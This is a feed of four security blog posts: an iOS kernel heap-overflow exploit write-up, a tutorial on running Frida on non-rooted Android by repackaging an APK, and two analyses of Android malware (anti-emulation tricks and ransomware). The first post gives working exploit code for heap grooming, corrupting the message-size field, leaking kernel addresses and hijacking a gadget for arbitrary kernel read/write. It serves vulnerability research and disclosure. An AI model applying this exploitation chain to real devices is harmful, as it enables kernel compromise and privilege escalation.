Using the mach_port_allocate_full method from userspace we can allocate a new mach port which has a single preallocated ikm_kmsg buffer of a controlled size. The intended use-case is to allow userspace to receive critical messages without the kernel having to make a heap allocation. Each time the kernel sends a real mach message it first checks whether the port has one of these preallocated buffers and it’s not currently in-use. We then reach the following code (I’ve removed the locking and 32-bit only code for brevity):

 if (IP_VALID(dest_port) && IP_PREALLOC(dest_port)) {
   mach_msg_size_t max_desc = 0;
   
   kmsg = dest_port->ip_premsg;
   if (ikm_prealloc_inuse(kmsg)) {
     ip_unlock(dest_port);
     return MACH_SEND_NO_BUFFER;
   }

   if (msg_and_trailer_size > kmsg->ikm_size – max_desc) {
     ip_unlock(dest_port);
     return MACH_SEND_TOO_LARGE;
   }
   ikm_prealloc_set_inuse(kmsg, dest_port);
   ikm_set_header(kmsg, msg_and_trailer_size);
   ip_unlock(dest_port);
…  
 (void) memcpy((void *) kmsg->ikm_header, (const void *) msg, size);

This code checks whether the message would fit (trusting kmsg->ikm_size), marks the preallocated buffer as in-use, calls the ikm_set_header macro to which sets ikm_header such that the message will align to the end the of the buffer and finally calls memcpy to copy the message into the ipc_kmsg.

This means that if we can corrupt the ikm_size field of a preallocated ipc_kmsg and make it appear larger than it is then when the kernel sends a message it will write the message contents off the end of the preallocate message buffer.

ikm_header is also used in the mach message receive path, so when we dequeue the message it will also read out of bounds. If we could replace whatever was originally after the message buffer with data we want to read we could then read it back as part of the contents of the message.

This new primitive we’re building is more powerful in another way: if we get this right we’ll be able to read and write out of bounds in a repeatable, controlled way without having to trigger a bug each time.

Exceptional behaviour
There’s one difficulty with preallocated messages: because they’re only used when the kernel send a message to us we can’t just send a message with controlled data and get it to use the preallocated ipc_kmsg. Instead we need to persuade the kernel to send us a message with data we control, this is much harder!

There are only and handful of places where the kernel actually sends userspace a mach message. There are various types of notification messages like IODataQueue data-available notifications, IOServiceUserNotifications and no-senders notifications. These usually only contains a small amount of user-controlled data. The only message types sent by the kernel which seem to contain a decent amount of user-controlled data are exception messages.

When a thread faults (for example by accessing unallocated memory or calling a software breakpoint instruction) the kernel will send an exception message to the thread’s registered exception handler port.

If a thread doesn’t have an exception handler port the kernel will try to send the message to the task’s exception handler port and if that also fails the exception message will be delivered to to global host exception port. A thread can normally set its own exception port but setting the host exception port is a privileged action.

routine thread_set_exception_ports(
        thread         : thread_act_t;
        exception_mask : exception_mask_t;
        new_port       : mach_port_t;
        behavior       : exception_behavior_t;
        new_flavor     : thread_state_flavor_t);

This is the MIG definition for thread_set_exception_ports. new_port should be a send right to the new exception port. exception_mask lets us restrict the types of exceptions we want to handle. behaviour defines what type of exception message we want to receive and new_flavor lets us specify what kind of process state we want to be included in the message.

Passing an exception_mask of EXC_MASK_ALL, EXCEPTION_STATE for behavior and ARM_THREAD_STATE64 for new_flavor means that the kernel will send an exception_raise_state message to the exception port we specify whenever the specified thread faults. That message will contain the state of all the ARM64 general purposes registers, and that’s what we’ll use to get controlled data written off the end of the ipc_kmsg buffer!

Some assembly required…
In our iOS XCode project we can added a new assembly file and define a function load_regs_and_crash:

.text
.globl  _load_regs_and_crash
.align  2
_load_regs_and_crash:
mov x30, x0
ldp x0, x1, [x30, 0]
ldp x2, x3, [x30, 0x10]
ldp x4, x5, [x30, 0x20]
ldp x6, x7, [x30, 0x30]
ldp x8, x9, [x30, 0x40]
ldp x10, x11, [x30, 0x50]
ldp x12, x13, [x30, 0x60]
ldp x14, x15, [x30, 0x70]
ldp x16, x17, [x30, 0x80]
ldp x18, x19, [x30, 0x90]
ldp x20, x21, [x30, 0xa0]
ldp x22, x23, [x30, 0xb0]
ldp x24, x25, [x30, 0xc0]
ldp x26, x27, [x30, 0xd0]
ldp x28, x29, [x30, 0xe0]
brk 0
.align  3

This function takes a pointer to a 240 byte buffer as the first argument then assigns each of the first 30 ARM64 general-purposes registers values from that buffer such that when it triggers a software interrupt via brk 0 and the kernel sends an exception message that message contains the bytes from the input buffer in the same order.

We’ve now got a way to get controlled data in a message which will be sent to a preallocated port, but what value should we overwrite the ikm_size with to get the controlled portion of the message to overlap with the start of the following heap object? It’s possible to determine this statically, but it would be much easier if we could just use a kernel debugger and take a look at what happens. However iOS only runs on very locked-down hardware with no supported way to do kernel debugging.

I’m going to build my own kernel debugger (with printfs and hexdumps)
A proper debugger has two main features: breakpoints and memory peek/poke. Implementing breakpoints is a lot of work but we can still build a meaningful kernel debugging environment just using kernel memory access.

There’s a bootstrapping problem here; we need a kernel exploit which gives us kernel memory access in order to develop our kernel exploit to give us kernel memory access!  In December I published the mach_portal iOS kernel exploit which gives you kernel memory read/write and as part of that I wrote a handful of kernel introspections functions which allowed you to find process task structures and lookup mach port objects by name. We can build one more level on that and dump the kobject pointer of a mach port.

The first version of this new exploit was developed inside the mach_portal xcode project so I could reuse all the code. After everything was working I ported it from iOS 10.1.1 to iOS 10.2.

Inside mach_portal I was able to find the address of an preallocated port buffer like this:

 // allocate an ipc_kmsg:
 kern_return_t err;
 mach_port_qos_t qos = {0};
 qos.prealloc = 1;
 qos.len = size;
 
 mach_port_name_t name = MACH_PORT_NULL;
 
 err = mach_port_allocate_full(mach_task_self(),
                               MACH_PORT_RIGHT_RECEIVE,
                               MACH_PORT_NULL,
                               &qos,
                               &name);

 uint64_t port = get_port(name);
 uint64_t prealloc_buf = rk64(port+0x88);
 printf("0x%016llx,\n", prealloc_buf);

get_port was part of the mach_portal exploit and is defined like this:

uint64_t get_port(mach_port_name_t port_name){
 return proc_port_name_to_port_ptr(our_proc, port_name);
}

uint64_t proc_port_name_to_port_ptr(uint64_t proc, mach_port_name_t port_name) {
 uint64_t ports = get_proc_ipc_table(proc);
 uint32_t port_index = port_name >> 8;
 uint64_t port = rk64(ports + (0x18*port_index)); //ie_object
 return port;
}

uint64_t get_proc_ipc_table(uint64_t proc) {
 uint64_t task_t = rk64(proc + struct_proc_task_offset);
 uint64_t itk_space = rk64(task_t + struct_task_itk_space_offset);
 uint64_t is_table = rk64(itk_space + struct_ipc_space_is_table_offset);
 return is_table;
}

These code snippets are using the rk64() function provided by the mach_portal exploit which reads kernel memory via the kernel task port.

I used this method with some trial and error to determine the correct value to overwrite ikm_size to be able to align the controlled portion of an exception message with the start of the next heap object.

get-where-what
The final piece of the puzzle is the ability know where controlled data is; rather than write-what-where we want to get where what is.

One way to achieve this in the context of a local privilege escalation exploit is to place this kind of data in userspace but hardware mitigations like SMAP on x86 and the AMCC hardware on iPhone 7 make this harder. Therefore we’ll construct a new primitive to find out where our ipc_kmsg buffer is in kernel memory.

One aspect I haven’t touched on up until now is how to get the ipc_kmsg allocation next to the buffer we’ll overflow out of. Stefan Esser has covered the evolution of the zalloc heap for the last few years in a series of conference talks, the latest talk has details of the zone freelist randomization.

Whilst experimenting with the heap behaviour using the introspection techniques described above I noticed that some size classes would actually still give you close to linear allocation behavior (later allocations are contiguous.) It turns out this is due to the lower-level allocator which zalloc gets pages from; by exhausting a particular zone we can force zalloc to fetch new pages and if our allocation size is close to the page size we’ll just get that page back immediately.

This means we can use code like this:

 int prealloc_size = 0x900; // kalloc.4096
 
 for (int i = 0; i < 2000; i++){
   prealloc_port(prealloc_size);
 }
 
 // these will be contiguous now, convenient!
 mach_port_t holder = prealloc_port(prealloc_size);
 mach_port_t first_port = prealloc_port(prealloc_size);
 mach_port_t second_port = prealloc_port(prealloc_size);
 
to get a heap layout like this:

This is not completely reliable; for devices with more RAM you’ll need to increase the iteration count for the zone exhaustion loop. It’s not a perfect technique but works perfectly well enough for a research tool.

We can now free the holder port; trigger the overflow which will reuse the slot where holder was and overflow into first_port then grab the slot again with another holder port:

 // free the holder:
 mach_port_destroy(mach_task_self(), holder);

 // reallocate the holder and overflow out of it
 uint64_t overflow_bytes[] = {0x1104,0,0,0,0,0,0,0};
 do_overflow(0x1000, 64, overflow_bytes);
 
 // grab the holder again
 holder = prealloc_port(prealloc_size);

The overflow has changed the ikm_size field of the preallocated ipc_kmsg belonging to first port to 0x1104.

After the ipc_kmsg structure has been filled in by ipc_get_kmsg_from_kernel it will be enqueued into the target port’s queue of pending messages by ipc_kmsg_enqueue:

void ipc_kmsg_enqueue(ipc_kmsg_queue_t queue,
                     ipc_kmsg_t       kmsg)
{
 ipc_kmsg_t first = queue->ikmq_base;
 ipc_kmsg_t last;

 if (first == IKM_NULL) {
   queue->ikmq_base = kmsg;
   kmsg->ikm_next = kmsg;
   kmsg->ikm_prev = kmsg;
 } else {
   last = first->ikm_prev;
   kmsg->ikm_next = first;
   kmsg->ikm_prev = last;
   first->ikm_prev = kmsg;
   last->ikm_next = kmsg;
 }
}

If the port has pending messages the ikm_next and ikm_prev fields of the ipc_kmsg form a doubly-linked list of pending messages. But if the port has no pending messages then ikm_next and ikm_prev are both set to point back to kmsg itself. The following interleaving of messages sends and receives will allow us use this fact to read back the address of the second ipc_kmsg buffer:

 uint64_t valid_header[] = {0xc40, 0, 0, 0, 0, 0, 0, 0};
 send_prealloc_msg(first_port, valid_header, 8);
 
 // send a message to the second port
 // writing a pointer to itself in the prealloc buffer
 send_prealloc_msg(second_port, valid_header, 8);
 
 // receive on the first port, reading the header of the second:
 uint64_t* buf = receive_prealloc_msg(first_port);
 
 // this is the address of second port
 kernel_buffer_base = buf[1];

Here’s the implementation of send_prealloc_msg:

void send_prealloc_msg(mach_port_t port, uint64_t* buf, int n) {
 struct thread_args* args = malloc(sizeof(struct thread_args));
 memset(args, 0, sizeof(struct thread_args));
 memcpy(args->buf, buf, n*8);
 
 args->exception_port = port;
 
 // start a new thread passing it the buffer and the exception port
 pthread_t t;
 pthread_create(&t, NULL, do_thread, (void*)args);
 
 // associate the pthread_t with the port
 // so that we can join the correct pthread
 // when we receive the exception message and it exits:
 kern_return_t err = mach_port_set_context(mach_task_self(),
                                           port,
                                           (mach_port_context_t)t);

 // wait until the message has actually been sent:
 while(!port_has_message(port)){;}
}

Remember that to get the controlled data into port’s preallocated ipc_kmsg we need the kernel to send the exception message to it, so send_prealloc_msg actually has to cause that exception. It allocates a struct thread_args which contains a copy of the controlled data we want in the message and the target port then it starts a new thread which will call do_thread:

void* do_thread(void* arg) {
 struct thread_args* args = (struct thread_args*)arg;
 uint64_t buf[32];
 memcpy(buf, args->buf, sizeof(buf));
 
 kern_return_t err;
 err = thread_set_exception_ports(mach_thread_self(),
                                  EXC_MASK_ALL,
                                  args->exception_port,
                                  EXCEPTION_STATE,
                                  ARM_THREAD_STATE64);
 free(args);
 
 load_regs_and_crash(buf);
 return NULL;
}

do_thread copies the controlled data from the thread_args structure to a local buffer then sets the target port as this thread’s exception handler. It frees the arguments structure then calls load_regs_and_crash which is the assembler stub that copies the buffer into the first 30 ARM64 general purpose registers and triggers a software breakpoint.

At this point the kernel’s interrupt handler will call exception_deliver which will look up the thread’s exception port and call the MIG mach_exception_raise_state method which will serialize the crashing thread’s register state into a MIG message and call mach_msg_rpc_from_kernel_body which will grab the exception port’s preallocated ipc_kmsg, trust the ikm_size field and use it to align the sent message to what it believes to be the end of the buffer:

In order to actually read data back we need to receive the exception message. In this case we got the kernel to send a message to the first port which had the effect of writing a valid header over the second port. Why use a memory corruption primitive to overwrite the next message’s header with the same data it already contains?

Note that if we just send the message and immediately receive it we’ll read back what we wrote. In order to read back something interesting we have to change what’s there. We can do that by sending a message to the second port after we’ve sent the message to the first port but before we’ve received it.

We observed before that if a port’s message queue is empty when a message is enqueued the ikm_next field will point back to the message itself. So by sending a message to second_port (overwriting it’s header with one what makes the ipc_kmsg still be valid and unused) then reading back the message sent to first port we can determine the address of the second port’s ipc_kmsg buffer.

read/write to arbitrary read/write
We’ve turned our single heap overflow into the ability to reliably overwrite and read back the contents of a 240 byte region after the first_port ipc_kmsg object as often as we want. We also know where that region is in the kernel’s virtual address space. The final step is to turn that into the ability to read and write arbitrary kernel memory.

For the mach_portal exploit I went straight for the kernel task port object. This time I chose to go a different path and build on a neat trick I saw in the Pegasus exploit detailed in the Lookout writeup.

Whoever developed that exploit had found that the IOKit Serializer::serialize method is a very neat gadget that lets you turn the ability to call a function with one argument that points to controlled data into the ability to call another controlled function with two completely controlled arguments.

In order to use this we need to be able to call a controlled address passing a pointer to controlled data. We also need to know the address of OSSerializer::serialize.

Let’s free second_port and reallocate an IOKit userclient there:

 // send another message on first
 // writing a valid, safe header back over second
 send_prealloc_msg(first_port, valid_header, 8);
 
 // free second and get it reallocated as a userclient:
 mach_port_deallocate(mach_task_self(), second_port);
 mach_port_destroy(mach_task_self(), second_port);
 
 mach_port_t uc = alloc_userclient();
 
 // read back the start of the userclient buffer:
 buf = receive_prealloc_msg(first_port);

 // save a copy of the original object:
 memcpy(legit_object, buf, sizeof(legit_object));
 
 // this is the vtable for AGXCommandQueue
 uint64_t vtable = buf[0];

alloc_userclient allocates user client type 5 of the AGXAccelerator IOService which is an AGXCommandQueue object. IOKit’s default operator new uses kalloc and AGXCommandQueue is 0xdb8 bytes so it will also use the kalloc.4096 zone and reuse the memory just freed by the second_port ipc_kmsg.

Note that we sent another message with a valid header to first_port which overwrote second_port’s header with a valid header. This is so that after second_port is freed and the memory reused for the user client we can dequeue the message from first_port and read back the first 240 bytes of the AGXCommandQueue object. The first qword is a pointer to the AGXCommandQueue’s vtable, using this we can determine the KASLR slide thus work out the address of OSSerializer::serialize.

Calling any IOKit MIG method on the AGXCommandQueue userclient will likely result in at least three virtual calls: ::retain() will be called by iokit_lookup_connect_port by the MIG intran for the userclient port. This method also calls ::getMetaClass(). Finally the MIG wrapper will call iokit_remove_connect_reference which will call ::release().

Since these are all C++ virtual methods they will pass the this pointer as the first (implicit) argument meaning that we should be able to fulfil the requirement to be able to use the OSSerializer::serialize gadget. Let’s look more closely at exactly how that works:

class OSSerializer : public OSObject
{
 OSDeclareDefaultStructors(OSSerializer)

 void * target;
 void * ref;
 OSSerializerCallback callback;

 virtual bool serialize(OSSerialize * serializer) const;
};

bool OSSerializer::serialize( OSSerialize * s ) const
{
 return( (*callback)(target, ref, s) );
}

It’s clearer what’s going on if we look as the disassembly of OSSerializer::serialize:

; OSSerializer::serialize(OSSerializer *__hidden this, OSSerialize *)

MOV  X8, X1
LDP  X1, X3, [X0,#0x18] ; load X1 from [X0+0x18] and X3 from [X0+0x20]
LDR  X9, [X0,#0x10]     ; load X9 from [X0+0x10]
MOV  X0, X9
MOV  X2, X8
BR   X3                 ; call [X0+0x20] with X0=[X0+0x10] and X1=[X0+0x18]

Since we have read/write access to the first 240 bytes of the AGXCommandQueue userclient and we know where it is in memory we can replace it with the following fake object which will turn a virtual call to ::release into a call to an arbitrary function pointer with two controlled arguments:

We’ve redirected the vtable pointer to point back to this object so we can interleave the vtable entries we need along with the data. We now just need one more primitive on top of this to turn an arbitrary function call with two controlled arguments into an arbitrary memory read/write.

Functions like copyin and copyout are the obvious candidates as they will handle any complexities involved in copying across the user/kernel boundary but they both take three arguments: source, destination and size and we can only completely control two.

However since we already have the ability to read and write this fake object from userspace we can actually just copy values to and from this kernel buffer rather than having to copy to and from userspace directly. This means we can expand our search to any memory copying functions like memcpy. Of course memcpy, memmove and bcopy all also take three arguments so what we need is a wrapper around one of those which passes a fixed size.

Looking through the cross-references to those functions we find uuid_copy:

; uuid_copy(uuid_t dst, const uuid_t src)
MOV  W2, #0x10 ; size
B    _memmove

This function is just simple wrapper around memmove which always passes a fixed size of 16-bytes. Let’s integrate that final primitive into the serializer gadget:

To make the read into a write we just swap the order of the arguments to copy from an arbitrary address into our fake userclient object then receive the exception message to read the read data.

You can download my exploit for iOS 10.2 on iPod 6G here: http://ift.tt/2oRV7NF

This bug was also independently discovered and exploited by Marco Grassi and qwertyoruiopz, check out their code to see a different approach to exploiting this bug which also uses mach ports.

Critical code should be criticised
Every developer makes mistakes and they’re a natural part of the software development process (especially when the compiler is egging you on!). However, brand new kernel code on the 1B+ devices running XNU deserves special attention. In my opinion this bug was a clear failure of the code review processes in place at Apple and I hope bugs and writeups like these are taken seriously and some lessons are learnt from them.

Perhaps most importantly: I think this bug would have been caught in development if the code had any tests. As well as having a critical security bug the code just doesn’t work at all for a recipe with a size greater than 256. On MacOS such a test would immediately kernel panic. I find it consistently surprising that the coding standards for such critical codebases don’t enforce the development of even basic regression tests.

XNU is not alone in this, it’s a common story across many codebases. For example LG shipped an Android kernel with a new custom syscall containing a trivial unbounded strcpy that was triggered by Chrome’s normal operation and for extra irony the custom syscall collided with the syscall number for sys_seccomp, the exact feature Chrome were trying to add support for to prevent such issues from being exploitable.

from Project Zero http://ift.tt/2nZVJBt

Using Frida on Android without root

Frida is a great toolkit by @oleavr, used to build tools for dynamic instrumentation of apps in userspace.
It is often used, like Substrate, Xposed and similar frameworks, during security reviews of mobile applications by security professionals.

Typically such a review requires a rooted Android device. There are several reasons for this, but the two most important is that the frida-server binary, which executes on the device, requires root privileges to attach to (ptrace) the target application, in order to inject the Frida gadget library into the memory space of the process.

However, testing on a rooted device is not the only way! I am not sure why this technique is not more widely publicized, but Frida can also be used on non-rooted Android devices and non-jailbroken iPhones, without running frida-server at all. In this post I will focus on Android, however things are pretty similar on iOS – frida can also be used on jailed Apple devices.

A few advantages of using Frida on a non-rooted device:

  • Enables testing on devices you cannot or do not want to root (obviously).
  • Avoids some sideeffects due to application checks for ptracing/debugging or checks for tampered environment.

However:

  • This technique will trigger checks against repackaging, unless those are separately bypassed.

Adding frida-gadget to an Android application

The technique is simple, it can be described in short as “adding a shared library & repackaging the Android application”. Here it is, step by step:

  1. Get the the APK binary of te application you want to test, e.g. myapp.apk.
  2. Use apktool to decode the APK into it’s contents. Preferably its latest version.

    $ apktool d myapp.apk -o extractedFolder
    
  3. Add the frida native libraries (frida-gadget) into the APK’s /lib folder. The gadget libraries for each architecture can be found in Frida’s release page. Make sure to add the libraries for the correct architecture in a suitable folder under /lib, e.g. /lib/armeabi for 32bit ARM devices.

    $ apktool --version
    2.2.2
    
    $ apktool d -o out_dir original.apk
    I: Using Apktool 2.2.2 on original.apk
    I: Loading resource table...
    I: Decoding AndroidManifest.xml with resources...
    I: Loading resource table from file: ~/.local/share/apktool/framework/1.apk
    I: Regular manifest package...
    I: Decoding file-resources...
    I: Decoding values XMLs...
    I: Baksmaling classes.dex...
    I: Copying assets and libs...
    I: Copying unknown files...
    I: Copying original files...
    
    # download frida gadget - for 32bit ARM in this case
    $ wget http://ift.tt/2povVPv
    2017-04-11 10:48:45 (3.29 MB/s) - ‘frida-gadget-9.1.26-android-arm.so.xz’ saved [3680748/3680748]
    
    # extract the compressed archive
    $ unxz frida-gadget-9.1.26-android-arm.so.xz
    
    $ ls
    frida-gadget-9.1.26-android-arm.so
    
    # copy frida gadget library in armeabi directory under lib
    $ cp frida_libs/armeabi/frida-gadget-9.1.26-android-arm.so out_dir/lib/armeabi/libfrida-gadget.so
    
  4. Inject a System.loadLibrary("frida-gadget") call into the bytecode of the app, ideally before any other bytecode executes or any native code is loaded. A suitable place is typically the static initializer of the entry point classes of the app, e.g. the main application Activity, found via the manifest.

    An easy way to do this is to add the following smali code in a suitable function:

    const-string v0, "frida-gadget"
    invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V
    

    Alternatively someone could create a script that injects the library into the process via ptrace; but this script would need to be packaged with the application (just like gdbserver).

  5. Add the Internet permission to the manifest if it’s not there already, so that Frida gadget can open a socket.

    <uses-permission android:name="android.permission.INTERNET" />
    
  6. Repackage the application:

    $ apktool b -o repackaged.apk out_dir/
    I: Using Apktool 2.2.2
    I: Checking whether sources has changed...
    I: Smaling smali folder into classes.dex...
    I: Checking whether resources has changed...
    I: Building resources...
    I: Copying libs... (/lib)
    I: Building apk file...
    I: Copying unknown files/dir...
    
  7. Sign the updated APK using your own keys and zipalign.

    # if you dont have a keystore already, here's how to create one
    $ keytool -genkey -v -keystore custom.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
    
    # sign the APK
    $ jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore mycustom.keystore -storepass mystorepass repackaged.apk mykeyaliasname
    
    # verify the signature you just created
    $ jarsigner -verify repackaged.apk
    
    # zipalign the APK
    $ zipalign 4 repackaged.apk repackaged-final.apk
    
  8. Install the updated APK to a device.

If this process seems complicated, the good news is that it can be automated. As part of the appmon hooking framework (based on Frida) @dpnishant released apk_builder, a script automating most of the above steps!

Using frida gadget

When you next start the application you are going to see an empty screen: The injected libfrida-gadget.so library has opened a tcp socket and waits for a connection from frida.

You should see a message similar to the following in logcat:

Frida: Listening on TCP port 27042

Running nestat on the device confirms the listening socket:

shell@flo:/ $ netstat -ln                                                  
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State     
tcp        0      0 127.0.0.1:27042         0.0.0.0:*               

As you might expect, the next step is connecting to the listening socket: Most frida tools work as expected although there are a few issues that can be handled better, e.g. connecting to the library after initialization, not just during loading.

There is just one thing to keep in mind: The process name you are going to use in Frida tooling should be “Gadget” instead of the normal package name.

$ frida-ps -U
Waiting for USB device to appear...
  PID  Name
-----  ------
16071  Gadget

Examples!

$ frida -U Gadget
     ____
    / _  |   Frida 9.1.26 - A world-class dynamic instrumentation framework
   | (_| |
    > _  |   Commands:
   /_/ |_|       help      -> Displays the help system
   . . . .       object?   -> Display information about 'object'
   . . . .       exit/quit -> Exit
   . . . .
   . . . .   More info at http://ift.tt/1hhG3wK
Waiting for USB device to appear...

[USB::Samsung SM-G925F::Gadget]-> Java.available
true
[USB::Samsung SM-G925F::Gadget]->
$ frida-trace -U -i open Gadget
Instrumenting functions...
open: Auto-generated handler at "/tmp/test/__handlers__/libc.so/open.js"
Started tracing 1 function. Press Ctrl+C to stop.                       
           /* TID 0x2df7 */
  4870 ms  open(pathname=0xa280b100, flags=0x241)
  4873 ms  open(pathname=0xb6d69df3, flags=0x2)
           /* TID 0x33d2 */
115198 ms  open(pathname=0xb6d69df3, flags=0x2)
115227 ms  open(pathname=0xb6d69df3, flags=0x2)

Enjoy!

from John Kozyrakis ~ blog http://ift.tt/2p7ycvw

Android malware creators throw up a roadblock to thwart the good guys

Emulation testbeds have been considered by security practitioners to be a useful tool to conduct operational security exercises and a variety of research. For almost as long, malware writers have sought to thwart such tools.

SophosLabs has come across some fresh examples of this – specifically, anti-emulation Android malware. The findings are in a Sophos Blog write up by Android specialists Chen Yu, William Lee, Jagadeesh Chandraiah and Ferenc László Nagy.

In it, they explain how Android malware is copying the anti-emulation techniques that have served Windows malware writers so well.

First, let’s look at what an emulator is. Most online definitions describe it as hardware or software that allows one computer (the host) to imitate another computer (the guest). It typically allows the host system to run software or use peripheral devices designed for the guest system. In security, it’s a handy way to test malware behavior or larger security operations readiness.

Anti-emulation techniques are found in many different Android malware families, one being the recent Android Adload adware found in Google Play.

Six techniques

SophosLabs researchers identified many anti-emulator techniques when they looked at such malware. The Sophos Blog post describes six of them in detail. Here’s a summary of each:

  1. Checking telephony services informationEmulator detecting is all about spotting the difference between the environment that the emulator and real device provide. First, the deviceID, phone number, IMEI, and IMSI would be different on an emulator than on a real device. The Android.os.TelephonyManager class provides methods to get the information.
  2. Checking the build info: Researchers found multiple malware families checking the build information on a system to determine if it’s running on an emulator.
  3. Checking system properties: Some system properties on an emulator are different from those on real devices. For example, device brand, hardware and model. 
  4. Checking for the presence of emulator-related files: In this case, the malware checks to see if QEMU (Quick Emulator) or other emulator-related files exist.
  5. Checking the debugger and installer: This one is not an anti-emulator but its purpose is also to obstruct the dynamic analysis. Like the Skinner adware, it uses Debug.isDebuggerConnected() and Debug.waitingForDebugger() to check if a debugger exists.
  6. Time bomb: This is another way many malware/adware families hide themselves from dynamic analysis. After installation, they await a certain time until they start their activities.

Defensive measures

Malicious code with anti-emulation features is just the latest example in what has been a surge in Android malware activity. The average Android user isn’t going to know what techniques the malware used to reach their device’s doorstep, but they can do much to keep it from getting in – especially when it comes to the apps they choose:

  • Stick to Google Play. It isn’t perfect, but Google does put plenty of effort into preventing malware arriving in the first place, or purging it from the Play Store if it shows up. In contrast, many alternative markets are little more than a free-for-all where app creators can upload anything they want, and frequently do.
  • Consider using an Android anti-virus. By blocking the install of malicious and unwanted apps, even if they come from Google Play, you can spare yourself lots of trouble.
  • Avoid apps with a low reputation. If no one knows anything about a new app yet, don’t install it on a work phone, because your IT department won’t thank you if something goes wrong.
  • Patch early, patch often. When buying a new phone model, check the vendor’s attitude to updates and the speed that patches arrive. Why not put “faster, more effective patching” on your list of desirable features, alongside or ahead of hardware advances such as “cooler camera” and “funkier screen”?


from SophosLabs blog http://ift.tt/2orqLz9

New Android ransomware bypasses all antivirus programs

The Zscaler ThreatLabZ team has found a new variant of Android Ransomware. What makes this variant particularly scary is that it evaded all the antivirus programs tested against it at the time of writing this blog. During our investigation, we uncovered some other interesting findings.
One of the targeted apps is called ‘OK’, and it’s one of the most popular Russian entertainment social network apps. The targeted legitimate app is available on the Google Play Store and has between 50,000,000 – 100,000,000 installs. It is important to note that the OK app available on Google Play Store is NOT malicious. Fortunately, we haven’t yet spotted the new ransomware strain on the Google Play Store, but as you’re about to read, the techniques leveraged by this malware improve the chances for the payload to make it on the Google Play Store.
What happens when the malicious package is installed?
Similar to the aggressive adware samples found in Google Play Store that we covered in our blog last week, this malware stays silent for the first four hours after it is installed, allowing the original app to operate without any interference. This technique also allows the ransomware to evade antivirus engines as the app is executed. After four hours, users will see a prompt to add a device administrator as shown below.
 
     Figure 1: Device administrator prompt
 
Even if a user presses the Cancel button, the prompt reappears quickly, preventing the user from taking any other action or uninstalling the app. As soon as a user presses the Activate button, the screen will be locked and a full-screen ransom note will be displayed.
                                                                                    Figure 2: Ransom note
Here’s the English translation of Russian text:
                                                                  Figure 3: Ransom note (English translation)
 
We analyzed the sample further to understand whether the malware actually sends a user’s data to a server. We didn’t find any personal data leak as claimed by the ransomware and were not surprised when we found that the ransomware is NOT capable of unlocking the user’s phone.
Regardless of whether the user transfers the requested ransom amount to the attacker’s e-wallet, the ransomware will not stop operating. As soon as phone screen is locked, the malware will notify its Command & Control (C&C) server about the new victim. Interestingly, there is no functionality present in the malware to confirm whether the user has paid the ransom or not and it, therefore, continues to operate.
 
                                                    Figure 4: Notifies C&C server about new victim
Infection Technique
After analyzing how clean apps become infected with this ransomware, we realized that the malware author did not infect each of these apps manually; instead the author created an automated method for infecting multiple clean apps the same way. Here’s what the automation looks like:
Step 1: Disassemble the clean target app
Step 2: Insert required permissions and Activity/BroadcastReceiver entries required for malware into AndroidManifest.xml file
Step 3: Copy required images and layout files into the res directory
Step 4: Insert strings used for ransom note into res\values\strings.xml file
Step 5: Copy malicious .smali files into smali directory
Step 6: Assemble the apk, re-sign it, now ready to be installed
How it successfully bypassed antivirus systems
There is no doubt that this malware author employed a combination of techniques to evade antivirus detection. Most antivirus programs analyze samples statically, dynamically, or a combination of both. The injected malicious code in this sample is HIGHLY obfuscated. The C&C server address and phone number are encrypted with Advanced Encryption Standard (AES). Almost all strings, method names, variable names, and class names are disguised in such a way that it’s extremely difficult to understand the code. Most of these methods are invoked using Java reflection technique, which allows the author to evade static analysis detection.
Most AV programs execute samples for a few seconds or minutes to detect malicious behavior performed by the app. In this case, the malware doesn’t show its presence until four hours have passed. This way, the malware author dodges the dynamic analysis by antivirus systems.
Considering the stealth tactics designed into this sample, it wouldn’t be difficult to imagine the author successfully uploading this ransomware to the Google Play Store.
                                  Figure 5: Obfuscated code example
Mitigation
If you are infected, boot your device into Safe Mode, which disables all third-party applications (here’s how). Remove the device administrator privilege of the ransomware app. Next, uninstall the app and re-boot your device into normal mode. To minimize the risk of such infections in the future, go to Security settings/Device administration and de-select “Unknown sources.” Above all, it’s always wise to download apps only from trusted sources, such as Google Play Store.
ThreatLabZ researches and analyzes malware variants to raise awareness of new attack vectors, methods, and origins, and to ensure the ongoing protection of Zscaler customers.
Samples
 
SHA1
package name
fe6f21049a3af68a0e08eebe82e33772b05e5475
ru.ok.android
9251b9e5c6602ba28739ae9c98d4247953ae006c
com.nitroxenon.terrarium
cb908b73cc8db5935074d03cda41ef0fe7f09ccf
com.cyanogenmod.eleven
 
Researched by Gaurav Shinde & Viral Gandhi

from Zscaler Research http://ift.tt/2ouHSSJ